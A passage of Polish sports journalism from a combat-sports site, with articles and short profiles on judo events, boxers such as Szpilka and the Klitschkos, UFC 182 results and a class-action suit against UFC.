przeszedł operację która zakończyła się sukcesem.

Sezon startuje w Austrii

Zima. Za oknem śnieg. Judocy wracają do startów. Tradycyjnie w Nowym Roku rywalizacja rozpoczyna się w w Mittersill w Austrii.

Oczywiście, blasku zawodom dodaje niezwykła aura miejsca. Piękne otoczenie, cudowny klimat i judo. W Mittersill zjawią się czołowe postaci dyscypliny. Liczba sportowców przekroczy 700. Łącznie ze sztabami szkoleniowymi i pracownikami w Mittersill będzie funkcjonowało ponad 900 osób. Cały świat pojawi się w Austrii, aby dać pierwszy akord w Nowym Roku w judo.

Gwiazd w Mittersill nie zabraknie. Pojawią się zawodnicy utytułowani, prawdziwe gwiazdy dyscypliny. W akcji zaprezentują się m.in. Sarah Menezes (BRA), Kayla Harrison (USA), Jarden Dżerbi (ISR), Majlinda Kelmendi (IJF / KOS), Arsen Gałstian (RUS), Lukas Krpálek (CZE), Varlam Lipartelini (GEO), Ilias Iliadis (GRE) i Heorhij Zantaraja (UKR). Poziom sportowy gwarantowany. Kwestią fundamentalną jest wkroczenie w nowy sezon, pełen wymagań, wyzwań i walki. Walki o najwyższe cele.

Ten rok dla judoków będzie niezwykle ważny, gdyż w 2016 roku odbędą się Igrzyska Olimpijskie w Rio de Janeiro. Teraz najlepsi zawodnicy mają czas, aby dobrze zaplanować przygotowanie do najważniejszej sportowej imprezy. Co zrobić, aby szczyt formy przypadł na Rio? To pytanie nurtuje wielu judoków. Warto podkreślić, że z pewnością istotne jest umiejętne rozplanowanie przygotowań, ale wątpliwe jest, aby gwiazdy w tym roku oszczędzały. W kwietniu w Glasgow odbędą się mistrzostwa Europy, a w sierpniu w Astanie mistrzostwa świata. Dwie imprezy, które tak naprawdę pokażą i ustawią zwycięzców w roli faworytów w Rio. Glasgow i Astana będą tymi miejscami, gdzie będzie można wysnuć pierwsze wnioski. Z tym zastrzeżeniem, że nie każdy zawodnik na równym poziomie podejdzie do mistrzowskiej rywalizacji. Wszystko zależy od planu przygotowań. Gwiazdy z pewnością nie odpuszczą sezonu, ale będą z głową dysponowały siłami, aby forma przyszła na określony czas.

W Mittersill rozpoczyna się nowy sezon. Rywalizacja będzie trwała od 7 do 16 stycznia. Czas gorący, w którym wszyscy będą wybiegali w przyszłość, ale warto oddać się austriackiemu klimatowi i rywalizacji na tatami. W akcji prawdziwe gwiazdy, wielkie emocje. Przewodniczący Austriackiej Federacji Judo i wiceprezes EJU Hans Paul Kutschera podkreśla wyjątkowość Mittersill. – Mittersill jest idealnym połączeniem silnego randori, austriackiej gościnności i wspaniałych wrażeń zimowych. Cieszę się również, że Mittersill jest częścią projektu EJU OTC od samego początku, co jest dla nas ogromnym sukcesem.

Sabrina Filzmoser, gwiazda austriackiego judo, podkreśla aspekt pracy, który jest podstawą sukcesu. – Niektórzy próbują zacząć sprawnie, inni w spokojnej, ale wszyscy mają w sobie ducha judo. Każdy ciężko pracuje, aby uzyskać jak najlepsze wyniki w nadchodzącym sezonie. 

Mittersill otworzy drzwi nowego sezonu – pełnego wyzwań i ciężkiej pracy. W pięknych okolicznościach natury, cudownej aurze rozpoczną rywalizację judocy. Ogromna liczba zawodników i ogromne wrażenia. Czy taki będzie cały sezon? Kto będzie królował w tym roku? Jak powiedziała Filzmoser: – Ten rok będzie dużym wyzwaniem.

 

KM

Poszukiwania mistrza w Elblągu

We wtorek (6 stycznia) zakończyła się IV edycja „JUDO CAMP U17. Motywem przewodnim turnieju było hasło „Szlifujemy talenty – poszukujemy mistrza”.

Impreza gościła nie tylko kadry narodowe Polski, ale także kadry zagraniczne, co świadczy o renomie przedsięwzięcia. Zainteresowanie zagranicznych teamów zawodami w Polsce jest jak najlepszą wizytówką dla organizatora, czyli klubu UKS Olimpia Judo Elbląg. Impreza miała charakter trzydniowego treningu, podczas którego zawodnicy i zawodniczki mogli doskonalić swoje umiejętności. Udział w przedsięwzięciu wzięło blisko 400 judoków. Polskę reprezentował blisko 60 zawodników – kadra polski juniorek i juniorów młodszych, juniorek i juniorów wraz z trenerami kadry. Ponadto, w Elblągu zjawili się: Litwini wraz z 15 – osobową kadrą juniorów Litwy, Czesi, Niemcy, Szwedzi i Norwegowie.

Treningi w Elblągu to początek sezonu dla wielu judoków. Przede wszystkim istotą jest rozpoczęcie przygotowań i wejście w nowy rok. Dla wielu będzie to sezon licznych startów w Grand Prix, a przede wszystkim mistrzostw Europy i mistrzostw świata.

W Elblągu pojawiła się również kadra Polski seniorek wraz z trener Anetą Szczepańską. Szczepańska, która ma za sobą bardzo bogatą karierę w judo swoją przygodę z tym sportem oficjalnie zakończyła w 2010 roku, choć walczyć przestała dwa lata wcześniej. Teraz jest szkoleniowcem reprezentacji kobiet. Praca Szczepańskiej przynosi owoce, czego najlepszym dowodem jest piąte miejsce na ubiegłorocznych mistrzostwach świata w Czelabińsku naszej drużyny narodowej. Ponadto, warto dodać brązowy medal Katarzyny Kłys. W Elblągu nasza kadra szlifowała swoje umiejętności, być może w treningach uczestniczyła przyszła mistrzyni. Na imprezie pojawił się również Damian Szwarnowiecki, który jest ogromną nadzieją polskiego judo.

Hasło „Szlifujemy talenty – poszukujemy mistrza” jest bardzo szlachetne. Z pewnością taka impreza działa na rzecz rozwoju dyscypliny oraz jej popularyzacji. Fakt, że uczestniczą w niej zawodnicy z zagranicy i nasze kadry narodowe mówi sam za siebie oraz uwydatnia, iż jest to przedsięwzięcie wysokiej rangi. Organizator zapowiada, że w następnej edycji będzie więcej atrakcji. W przyszłym roku swój udział zapowiedzieli już zawodnicy z Armenii, Gruzji i Azerbejdżanu. Ponadto, organizator ma plan poszerzenia powierzchni hali (w tym roku w użytku było 800 metrów kwadratowych). Dodatkową atrakcją ma być gwiazda imprezy – ma nią być Japończyk. Więcej organizator nie zdradza.

Impreza, która miała miejsce w Elblągu nasuwa analogię do czasów, kiedy w skokach narciarskich trwały poszukiwania następcy Adama Małysza. Czy to zła droga? Skoro służy rozwojowi dyscypliny, przykuwa uwagę społeczeństwa oraz sprawia, że dzieci i młodzież garną się do treningów judo to jak najbardziej postępowanie jest słuszne. Czy skuteczne? Liczą się działania i rozwój. Jeśli organizator jest gotowy dalej przygotowywać przedsięwzięcie oznacza to, że jest to dobra forma rozrywki, a być może dla kogoś stanie się to życiowa droga. Od zabawy do mistrzostwa.

KM

Szpilka rozpoczyna amerykańską przygodę

Nadzieja polskiej wagi ciężkiej wyrusza za ocean. Artur Szpilka postanowił rozwijać swój potencjał w Stanach Zjednoczonych, gdzie są większe możliwości, większe pieniądze i lepsze standardy. Czy to będzie przełomowy krok w karierze Szpili?

Szpilka na polskim podwórku osiągnął wszystko. Wygrał długo oczekiwaną walkę z Tomaszem Adamkiem i udowodnił, że obecnie jest najlepszym bokserem wagi ciężkiej w Polsce. Na rodzimej ziemi nie ma dla pięściarza kolejnych wyzwań. Co dalej? Aby rozwijać swój talent musi szukać kolejnych wyzwań. Myślisz rozwój – mówisz Stany Zjednoczone. Czyż nie tak?

Wielu podjęło taką decyzję, niewielu się w stu procentach powiodło. Podczas ostatniego programu „Puncher” promotor Szpilki, Andrzej Wasilewski, poinformował, że bokser w ciągu najbliższych dni podpisze kontrakt z Alem Haymonem. Strony są bardzo blisko porozumienia i wszystko jest na dobrej drodze do rozpoczęcia współpracy. Haymon to jeden z najpotężniejszych i najbardziej wpływowych menadżerów na świecie. Współpracuje z  najlepszymi nazwiskami na świecie,  ma ogromną siłę przebicia i niezliczone możliwości. Fakt, że Haymon w swojej pracy związał się z takimi nazwiskami jak Floyd Mayweather Jr, Amir Khan, Erislandy Lara czy Deontay Wilder mówi sam za siebie. Szpilka ma okazję trafić na człowieka, który w wielkim świecie boksu porusza się swobodnie niczym baletnica. Czy Haymon otworzy przed Polakiem wielki świat? Istotne jest, że Artur Szpilka może współpracować z tak wpływowym człowiekiem, jednak na tym jego rozwój się nie kończy. Przede wszystkim – Szpila musi pracować nad sobą, nad swoim boksem. Haymon może mu otworzyć furtkę do walk z wysokiej klasy rywalami.

Kwestią podstawową jest podpisanie umowy między stronami. Szpilka wyrusza do Ameryki, aby doskonalić swoje umiejętności. Nad rozwojem polskiego boksera będzie czuwał sam Ronnie Shields. Przed Szpilką okres ciężkiej pracy pod okiem wybitnego trenera. Pracy, która może wydać owoce. Na sukces trzeba zapracować, a taka osobistość jak Shields może pozytywnie wpłynąć na młodego pięściarza.

Kolejny pojedynek Artur Szpilka prawdopodobnie stoczy w marcu podczas gali, na której gwiazdą będzie Andrzej Fonfara. Walki transmitować ma telewizja Showtime, więc Szpila dostanie okazję zaprezentowania się szerszemu gremium. Szpilka będzie trenował i rozwijał się w Ameryce, temu poświęci uwagę. Jego celem będą walki za oceanem, ale bokser z Wieliczki ma również pojawiać się w Polsce. Prawdopodobnie Szpilka raz na rok stoczy walkę na ojczystej ziemi.

Czy współpraca z Haymonem nada rozpędu karierze Szpili? Z pewnością jest to dobry krok, jednak musi dojść do podpisania umowy między stronami. Szpilka rozpoczyna nowy rozdział w swojej karierze. Treningi w Ameryce, pod okiem Ronniego Shieldsa to zupełnie inny kaliber. To wyzwanie, weryfikacja możliwości i wytrzymałości, a także kształtowanie charakteru. Czas pokaże, czy Szpilka wykorzysta szansę i zdobędzie Amerykę.

KM

Bracia Kliczko jak Tyson, czyli rys czasów

Często analizie poddajemy kwestię umiejętności poszczególnych bokserów. Zdarza się, że porównujemy byłe i obecne gwiazdy pięściarstwa. Wydaje się, że znanych postaci jest coraz mniej.

Kiedyś laik wiedział, kim jest Mike Tyson czy Lennox Lewis. Teraz głównymi ikonami boksu są bracia Kliczko. Witalij szerszemu gremium ukazał się poprzez działalność polityczną. Czy obecnie mamy kryzys wyrazistych postaci? A może tzw. showmanów jest zbyt wielu? Odwołując się do lat 90. warto zwrócić uwagę, że postaci którym poświęcano uwagę były zarazem wybitnymi w swojej dziedzinie oraz posiadały osobowość budzącą zainteresowanie. Obecnie, pożądane jest, aby bokser miał „gadane” i nakręcał widowisko. Haye’owi umiejętności odmówić nie można, ale faktem jest, że częściej używał języka niż pięści. Podobnie Chisora. Fenomenem w tej dziedzinie jest Mayweather – człowiek wielu talentów.

Taka jest różnica między czasami minionymi, a obecnymi. Kiedyś mistrz był mistrzem i każdy o tym wiedział. To były postaci, ikony. Teraz w tej ogólnej mieszance trudno znaleźć wyrazistych bohaterów. Wiadomo, że są (byli) bracia Kliczko, Mayweather czy Pacquiao. Z pewnością to kwestia czasów i zmieniających się wymagań.

W latach 80. i 90. bokser w trakcie kariery amatorskiej potrafił stoczyć ponad dwieście walk. W tym czasie pięściarz przechodził prawdziwą szkołę życia i zdobywał jakże cenne doświadczenie. Obecnie do kariery amatorskiej nie przywiązuje się aż takiej wagi i podejście to nie jest najlepsze. Zawodnik musi obyć się z ringiem, nabrać ogłady. Gdy kariera amatorska jest zaledwie ułamkiem w jego życiu to z miejsca zabiera mu się pewien obszar na popełnianie błędów oraz nabieranie ringowego obycia. Ktoś zagadnie, że skoro gość ma talent to sobie poradzi. Jasne, oczywiście. Z tym, że każdy ten talent musi w sobie odkryć i nauczyć się nim posługiwać, nabrać pewnych umiejętności wykorzystywania daru, który posiadł. Skoro posyłamy dziecko do szkoły, aby nauczyło się czytać i pisać to młodemu pięściarzowi należy się czas adaptacji zwany karierą amatorską. Również  z tego względu, że nie każdego można rzucić na głęboką wodę. Z jednej strony kariera amatorska ma aspekt czysto sportowy, aby bokser nabrał ogłady, a z drugiej psychologiczny. Pięściarz musi nauczyć się radzić z presją, trudnymi sytuacjami i publicznością. Młody bokser występujący w Madison Square z pewnością nie wchodzi do ringu na luzie, jeśli nie został nauczony radzenia sobie z presją.

Czy aż tak duża jest różnica między czasami minionymi, a obecnymi? Kwestia osobowości i ich wyrazistości rzuca się w oczy, a także kwestia podejścia do kariery amatorskiej. Wielki mistrz wagi ciężkiej Evander Holyfield podkreśla znaczenie amatorstwa: – Obecnie nastała zupełnie inna era pięściarstwa. Ja, Lewis, Bowe czy Tyson mieliśmy długie kariery amatorskie. Gdy spyta się tamtych pięściarzy ile stoczyli amatorskich walk w swojej karierze i porówna się ten bilans z dzisiejszymi pięściarzami, to widać wyraźną różnicę. Czy dzisiejsze gwiazdy poradziłby sobie w latach 90? Czołowymi postaciami wagi ciężkiej są bracia Kliczko. Holyfield uważa, że Ukraińcy poradziliby sobie w jego erze: – Kliczko daliby sobie radę, ponieważ byli dobrze prowadzeni. Tak samo jak i my.

Boks nie zatrzymał się w miejscu, lecz z każdym dniem idzie do przodu. Ciężko dywagować nad kwestiami większego potencjału pięściarzy. Można pochylić się jedynie nad warunkami  jakie obecnie panują. Widoczne są zmiany, czas robi swoje. Wydaje się, że czas Tysonów, Lewisów i Holyfieldów już minął.

KM

Medal i porządki w związku

Rok 2015 w judo będzie obfitował w liczne wydarzenia. Liczymy na kolejne sukcesy w postaci medali z najważniejszych imprez oraz uporządkowanie sytuacji w Polskim Związku Judo.

Perturbacje wewnątrz władz nie służą wizerunkowi judo. Czas to w końcu zmienić. Najważniejsze jest dobro judo i ten fakt należy podkreślać. W tym wypadku na bok należy odsunąć interesy osobiste oraz urazy. Istotą całej sytuacji jest zaprowadzenie spokoju i zapewnienie warunków do rozwoju judo. Czy istnieje taka możliwość? Konflikt narasta, każda ze stron ma swoje racje. Z tym, że problem nie dotyczy nadużyć finansowych czy szeroko pojętych nieprawidłowości. Przede wszystkim chodzi o władzę i wpływy. Z tym, że wyraźnie należy podkreślić, iż nie jest to najlepsze pole do takich praktyk. Istotną jest judo i jego dobro. 8 marca odbędzie się Nadzwyczajny Kongres Polskiego Związku Judo w celu wyłonienia władz Związku. Należy pamiętać o zaangażowaniu i wkładzie w tworzenie podstaw dla rozwoju judo w Polsce. O tym, co w ostatnim czasie osiągnęliśmy oraz jaką renomę zdobyliśmy na świecie. To są najistotniejsze rzeczy. Liczy się działania, które daje owoce. 8 marca powinien zakończyć się proces, który zachwiał polskim judo.

""

W 2015 roku liczymy na medale naszych reprezentantów. W dniach 9 – 12 kwietnia w Glasgow odbędą się mistrzostwa Europy. Agata Ozdoba będzie broniła brązowego medalu. Z pewnością mamy potencjał, aby indywidualnie poprawić ten wynik. W dobrej formie są Maciej Sarnacki, Katarzyna Kłys oraz Daria Pogorzelec. Również w rywalizacji drużynowej z całą pewnością możemy liczyć na sukces. Ekipa Anety Szczepańskiej funkcjonuje bardzo dobrze i pod okiem mistrzyni ustawicznie rozwija się. Po mistrzostwach Europy przyjdzie czas na zmagania w mistrzostwach globu. 24 – 30 sierpnia w Astanie odbędą się mistrzostwa świata seniorów i seniorek. W 2014 roku w Czelabińsku po jedenastu latach w końcu zdobyliśmy medal na MŚ. Po brąz sięgnęła Katarzyna Kłys. Oby w tym roku nasza reprezentacja osiągnęła podobny wynik, bo nie ma, co czekać na kolejny medal.

W sierpniu w Sarajewie odbędą się mistrzostwa świata kadetów. Na początku września nasi reprezentanci wystąpią w mistrzostwach Europy Kadetów w Sofii. W dniach 4-8 września odbędzie się Uniwersjada w Gwangju. Pod koniec października w Abu Dabi do rywalizacji staną juniorzy i juniorki w mistrzostwach świata.

Na krajowym podwórku w kwietniu będziemy śledzić zmagania w mistrzostwach Polski seniorów i seniorek. W marcu w Katowicach będzie miała miejsce rywalizacja w Akademickich Mistrzostwach Polski. 28 lutego – 1 marca odbędzie się Turniej Warszawski – European Open Men Senior.

Punktem przełomowym, który uporządkuje sytuację na polskiej scenie judo będzie Nadzwyczajny Kongres Polskiego Związku Judo w marcu. Ponadto, w Astanie podczas mistrzostw świata liczymy na zdobycz medalową. Miejmy nadzieję, że w Czelabińsku w 2014 roku nadeszło długo wyczekiwanie przerwanie niemocy. Oby sportowo ten rok był udany. Pod innymi aspektami poukładany i spokojny.

KM

Ryszard Wolny

Polski zapaśnik urodzony 24 marca 1969 roku w Raciborzu.  Pięciokrotny olimpijczyk, zdobywca złotego medalu Igrzysk Olimpijskich z 1996 roku. Jako zawodnik trenował zapasy w stylu klasycznym. Występował w kategoriach wagowych koguciej, piórkowej i lekkiej. Przez większość swojej kariery trenował w klubie MKZ Unia Raciborz.  W swoim dorobku medalowym Ryszard posiada medale Igrzysk Olimpijskich, Mistrzostw Świata, Mistrzostw Europy oraz Mistrzostw Polski. Po zakończeniu kariery sportowej zajął się działalnością trenerską. W 2007 roku został trenerem Polskiej kadry narodowej zapaśników. W 2006 roku został wybrany radnym Raciborza, gdzie powierzono mu stanowisko przewodniczącego komisji oświaty, kultury, sportu, rekreacji i opieki społecznej.  W 2010 roku ponownie został wybrany do rady miejskiej gdzie objął funkcje wiceprzewodniczącego rady miejskiej VI kadencji.  Ryszard został odznaczony Krzyżem Kawalerskim Orderu Odrodzenia Polski za wybitne osiągnięcia sportowe.

Największe osiągnięcia sportowe to:

  • Złoty medal Igrzysk Olimpijskich Atlanta 1996,
  • Brązowy medal Mistrzostw Świata Ostia 1990,
  • Złoty medal Mistrzostw Europy Oulu 1989,
  • Srebrny medal Mistrzostw Europy Besancon 1995,
  • Srebrny medal Mistrzostw Europy Sofia 1999,
  • Brązowy medal Mistrzostw Europy Poznań 1990.

Magdalena Jarecka

Polska zawodniczka mieszanych sztuk walki urodzona 5 sierpnia 1983 roku w Łodzi.  Magdalena sporty walki uprawia od 1994 roku. W latach 2001-2008 była tryumfatorką wielu zawodów min. Karate shidokan, Kempo i BJJ.  Największe sukcesy Magdy to zdobycie dwukrotnie mistrzostwa Polski w karate full-contact w kategorii juniorek i seniorek, trzecie miejsce w Pucharze Świata Karate Shidokan w 2005 roku oraz trzykrotny tryumf w Mistrzostwach Europy w Kempo (2004,2006,2007). W 2005 roku zdobyła zawodowe mistrzostwo Polski w Shidokan.  W 2008 roku zdobyła także mistrzostwo Polski w Brazylijskim Jiu-jitsu. Magdalena zadebiutowała w MMA 9 października 2005 roku na łotewskiej gali World Full Contact Association w Rydze.  Jej przeciwniczką była Łotyszka Oksana Chernikowa. Polka przegrała walkę jednogłośną decyzją sędziów.  W 2007 roku wystartowała na turnieju Japońskiej gali K-GRACE, która odbyła się w Tokio. W ćwierćfinale pokonała Koreankę Eon Ju Lee niejedno głośna decyzją sędziów. W półfinale turnieju Jarecka zmierzyła się z Marloes Coenen. Polka przegrała ten pojedynek przez poddanie zza pleców.  W 2008 roku stoczyła wygrany pojedynek z Iwoną Pajak.  Rok później przegrała z Janą Kunicką przez TKO w pierwszej rundzie. W 2010 roku Magda Jarecka wystąpiła na gali Fighters Arena Łódź gdzie zmierzyła się z Litwinką Arune Lauzeckatie. Polka wygrała pojedynek jednogłośną decyzją sędziów.  Magda jest zawodniczką Shidokan Łódź. 

Starcie dwóch odrzuconych

6 lutego w "Beau Rivage Resort & Casino" w Biloxi dojdzie do pojedynku mistrza świata federacji IBF wagi średniej Jermiana Taylora z Sergio Morą. Obaj pięściarze są jakby na uboczu, gdzieś schowani za pierwszym rzędem. Dlaczego?

Wypadałoby zacząć od Taylora skoro jemu przyjdzie bronić mistrzowskiego pasa. Jednak na początek słów kilka poświęcimy jego rywalowi. Sergio Mora to nazwisko znane, słyszane, bokser o określonej marce. Pięściarz solidny, który dobrze wykonuje swój fach. Mora w 2008 roku sięgnął po pas WBC wagi junior średniej. Mimo to nie spotkał  się z szerszym zainteresowaniem i nie uzyskał wpływu na rynek bokserski. Sergio Mora to dobry bokser – to jest pewne, ma umiejętności predysponujące go do występów na najwyższym poziomie. Czegoś mu brakuje. Ale czego? Facet wywalczył mistrzostwo świata WBC, jednak w żaden sposób nie spotkał się z zewnętrznym odbiorem. Od trzech lat nie udało mu się wzbudzić zainteresowania swoją osobą wśród stacji telewizyjnych i kibiców. Czy to problem osobowości? Być może Mora jest cichy i skromny – ale czy to wada? Nie, nie w tym problem. Kwestią podstawową jest fakt, że Mora nie trafił na odpowiednich ludzi, którzy potrafiliby go wypromować i zbudować kapitał na jego osiągnięciach. W takim wypadku bokser cierpi i musi topić się w oparach solidności. Sergio Mora to mistrz i dobry pięściarz, ale brakuje mu siły przebicia. O swoje trzeba walczyć. Sergio Mora zapowiada, że chce zwrócić na siebie uwagę poprzez kończenie swoich walk przez nokaut. Z pewnością może to być klucz, który otworzy mu drzwi. Należy podkreślić, że w tym wszystkim musi być efektywność, czyli czynnik wzbudzający zainteresowanie. Jeśli nie ma wsparcia z zewnątrz to musi zawalczyć sam o siebie. Zrobić coś, co utkwi w pamięci. Wielu pięściarzy ma mniejsze umiejętności i ma „gadane”, na czym korzysta. Czy Mora walką z Taylorem  rozpocznie nowy rozdział w swojej karierze?

A może będzie to przełom dla Taylora? W 2009 roku pięściarz zrobił sobie dwuletnią przerwę od boksu, jednak postanowił wrócić. Początkowo nie radził sobie zbyt dobrze i popadł w zapomnienie, jednak wszystko się zmieniło. Punktem przełomowym była walka z Samem Solimanem. Taylor dość niespodziewanie pokonał mistrza świata wagi średniej IBF i zdobył pas. Jego wartość wzrosła, ale na jak długo? Swego czasu Taylor był cenionym bokserem. To on pokonał Bernarda Hopkinsa i zunifikował cztery pasy – WBA/WBO/IBF/WBC. Stał się z miejsca wielkim pięściarzem, którego nazwiskobyło znaczące na rynku. Jednak koleje losu Taylora potoczyły się tak, że spadł z tronu. Dopiero walka z Solimanem przypomniała o jego istnieniu.

Pojedynek Taylor – Mora dla obu bokserów ma ogromne znaczenie. Walkę transmitować będzie telewizja ESPN 2. Porażka dla obu może być fatalna w skutkach. 36-letni Taylor może ponownie popaść w niebyt i zapomnienie. Tak naprawdę długo walczył o swoje nazwisko, żeby liczyć się na rynku. Zdobył pas IBF i to pozwoliło mu na znalezienie miejsca na rynku. Co jeśli przegra? Z pewnością będzie traktowany jako coraz mniej znaczący amerykański bokser. Dla Mory porażka będzie oznaczać pożegnanie się z marzeniami i pogodzenie się ze statusem pięściarza solidnego. 6 lutego pojedynek Taylora i Mory zapowiada się ciekawie. Starcia dwóch odrzuconych, trochę zapomnianych. Tych, którzy są ciut z tyłu, a bardzo chcą być z przodu.

KM

UFC 182: Mistrz mistrzem pozostał

Podczas gali UFC 182 w Las Vegas w walce wieczoru naprzeciw siebie stanęli mistrz wagi półciężkiej Jon Jones i Daniel Cormier. Zacięty pojedynek, który zakończył się werdyktem sędziów. Werdyktem pozytywnym dla mistrza.

Do starcia Jonesa i Cormiera miało dojść już na UFC 178, jednak z powodu kontuzji kolana mistrza do walki nie doszło. Początkowo posiadacz pasa miał rywalizować z Alexandrem Gustafssonem, jednak Szwed nabawił się urazu. Z okazji skorzystał Cormier. Dla publiczności zapowiadało się ciekawe wydarzenie. Rywalizacja dwóch fighterów, którzy nie znali słowa porażka. Cormier nie przegrał dotąd żadnego pojedynku, Jones zaledwie jeden (został zdyskwalifikowany).

Walka na dystansie pięciu rund przysporzyła publiczności wiele emocji, a z zawodników wycisnęła wszystkie możliwe krople potu. Jones miał dość istotną przewagę nad swoim rywalem – zasięgu, co doskonale wykorzystał. Jones używał łokci i ciosów stopujących na kolano wyraźnie osłabiając Cormiera, jednak ten nie ustawał w swoich staraniach i dążył do „ukłucia” przeciwnika. Ta sztuka powiodła się. Cormier kilkukrotnie trafił Jonesa podbródkowymi. W drugiej rundzie dominował już pretendent. Warto odnotować, że ta odsłona pełna była elementów zapaśniczych z dużą porcją ciosów i łokci. Druga runda dla Cormiera, z czasem do głosu doszedł Jones. Mistrz zachował więcej sił od swojego przeciwnika. W czwartej rundzie wyraźnie zdusił go po siatką. Jones dwukrotnie obalił Cormiera. W ostatnich pięciu minutach żaden z fighterów nie oszczędzał się. Było gorąco! Po raz kolejny element zapaśniczy pojawił się w tym pojedynku, jednak nie doprowadził do rozstrzygnięcia. 

""

Na dystansie  pięciu rund Jon Jones był lepszy od swojego rywala. Cormier jedynie w drugiej odsłonie narzucił warunki i należy mu oddać, że zdominował przeciwnika. Jednakże w ostatecznym rozrachunku lepszy był Jones, który mądrze dysponował siłami, co pozwoliło mu „wykończyć” zmęczonego i bezsilnego momentami rywala. Po pięciu rundach sędziowie jednogłośnie przyznali zwycięstwo Jonesowi. Arbitrzy punktowali jednomyślnie – 49-46. Tym samym Cormier musiał pogodzić się z pierwszą porażką w karierze.

Publiczność zgromadzona w Las Vegas nie zobaczyła efektownych nokautów w karcie głównej. Wszystkie pojedynki kończyły się decyzją sędziów. Warto odnotować, że Donald Cerrone w kategorii lekkiej wygrał z niepokonanym dotąd Mylesem Jurym. W pojedynku wagi muszej Kyoji Horiguchi nie pozostawił sędziom złudzeń, wyraźnie dominując nad Louisem Gaudinotem. W karcie wstępnej trzy walki zakończyły się decyzjami sędziów, dwa pojedynki rozstrzygnęły się przez KO. Przez TKO wygrał Cody Garbrandt , który prawym sierpowym powalił Marcusa Brimage'a.

Za walkę wieczoru wyróżnienie otrzymali Jon Jones oraz Daniel Cormier. Wzbogacili się również Paul Felder i Shawn Jordan, którzy znokautowali swoich rywali. Fighterzy zostali nagrodzeni za „występ wieczoru”. Na konta wyróżnionych wpłynęło po 50 tysięcy dolarów.

Wyniki UFC 182:

Pojedynek o pas mistrza UFC w wadze półciężkiej: 205 lbs: Jon Jones – Daniel Cormier jednogłośna decyzja sędziów 
Karta główna
155 lbs: Donald Cerrone – Myles Jury jednogłośna decyzja sędziów
185 lbs: Brad Tavares – Nate Marquardt jednogłośna decyzja sędziów
125 lbs: Kyoji Horiguchi – Louis Gaudinot jednogłośna decyzja sędziów
170 lbs: Hector Lombard – Josh Burkman jednogłośna  decyzja sędziów
Karta wstępna
155 lbs: Paul Felder – Danny Castillo KO w 2.rundzie
135 lbs: Cody Garbrandt –  Marcus Brimage TKO w 3.rundzie
265 lbs: Shawn Jordan – Jared Cannonier KO w 1.rundzie
155 lbs: Evan Dunham – Rodrigo Damma jednogłośna decyzja sędziów
170 lbs: Omari Akhmedov -. Mats Nilsson jednogłośna decyzja sędziów
135 lbs: Marion Reneau – Alexis Dufresne jednogłośna decyzja sędziów

KM 

Wojna na szczycie

UFC to potężna organizacja, które generuje ogromne zyski. W mieszanych sztukach walki obecne są wielkie pieniądze, gale przykuwają zainteresowanie sponsorów, a dla publiczności impreza to ogrom atrakcji. UFC ma na rynku stabilną i ugruntowaną pozycję.

Na światło dzienne wyszły nieznane dotąd fakty. Pozycja UFC może ulec zmianie. Czy tak się stanie? Otóż, do sądu w Kalifornii trafił pozew zbiorowy względem właściciela UFC. Autorami pozwu są byłe i obecne gwiazdy UFC, które zarzucają włodarzowi nieuczciwe praktyki. Okazuje się, że właściciel UFC zaniża płace zawodnikom, stosuje praktyki monopolistyczne oraz niszczy konkurencję. Takie są oskarżenia zawodników mieszanych sztuk walki. Czy znajdą one potwierdzenie? Jakie stanowisko zajmie sąd?

Wedle oskarżycieli właściciel UFC przede wszystkim prowadzi praktyki monopolistyczne w celu niszczenia konkurencji oraz ograniczenia zarobków zawodników. Zawodnicy podkreślają, że organizacja zabrania im współpracy z innymi promotorami MMA, czerpie zyski z zawodniczych umów i ogranicza fighterom możliwość zarabiania. Dodatkowo całą sytuację podgrzewa umowa z Reebokiem. Od czerwca 2015 roku  wszyscy zawodnicy będą zobowiązani występować w strojach tej firmy, ale wiąże się to z dodatkowymi obostrzeniami. Kontrakt wart jest 70 milionów dolarów, środki mają być rozwiązane między fighterów, ale… Właśnie jest pewne ale. Zawodnicy nie mogą eksponować podczas gal logotypów swoich sponsorów indywidualnych.

Dodatkowo, zarobki zawodników spadają. W porównaniu z poprzednim rokiem dochód spadł przeciętnie o 15 tysięcy dolarów. De facto do kieszeni zawodników trafiają kwoty zdecydowanie niższe niż te, które fighterzy mogliby otrzymać funkcjonując na wolnorynkowych zasadach. Pełnomocnicy zawodników, którzy złożyli pozew podkreślają, że ich klienci zarabiają zdecydowanie mniej niż powinni. Ryzyko występów w MMA jest ogromne. Zawodnicy powinni współmiernie partycypować w zyskach organizacji, jednakże właściciel UFC jest innego zdania.

Pewne jest, że sprawa tak szybko nie znajdzie rozwiązania. Pozywający podkreślają, iż są przygotowani na długą batalię sądową. Podobne sprawy mogą trwać nawet pięć lat i być bardzo kosztowne. Obie strony wysuwają przeciw sobie najcięższe działa. Zawodników reprezentować będzie m.in. Cohen Milstein Law Firm, która wynegocjowała 450 milionów dolarów za ugodę w głośnym procesie przeciw Apple. Po stronie UFC pracować będą firmy Boies, Schiller i Flexner LPP.

Zapowiada się długa batalia, jednakże doniesienia na temat praktyk stosowanych przez UFC mogą mieć silny wpływ na odbiór organizacji przez społeczeństwo. Czy tak będzie? Być może UFC zastosuje określone zabiegi marketingowe, aby nie stracić ogromnych pieniędzy. Tak naprawdę, do czasu wyroków sądu sprawa jest otwarta. Zawodnicy walczą o siebie, pieniądze i prawo do godności. UFC zdobyła na rynku wiodącą pozycję w dużej mierze dzięki klasowym zawodnikom. Wydaje się naturalne, że wdzięczność jest czymś normalnym. Bo z niewolnika nie ma pracownika. Zawodnicy walczą o swoje. Problem w tym, że UFC też. W tym sporze to organizacja może stracić więcej. Prawdziwa wojna na szczycie.

KM

Cotto i jego decyzja

Jesteśmy świadkami realizacji scenariusza widowiska pt. „Walka Floyd Mayweather Jr vs Manny Pacquiao”. Owa telenowela przyciąga setki, o ile nie miliony fanów. Ile odcinków jeszcze przed nami? Tego nie wiemy. Telenowele mają to do siebie, że długo trwają, wyciskają łzy, pojawiają się nowe wątki i wszystko otoczone jest aurą tajemnicy. A że nudno być nie może i każdy o swój interes dba… Jedna telenowela to za mało. Na bokserskim rynku otwiera się rozdział pt. „Saul Canelo Alvarez vs Miguel Cotto”.

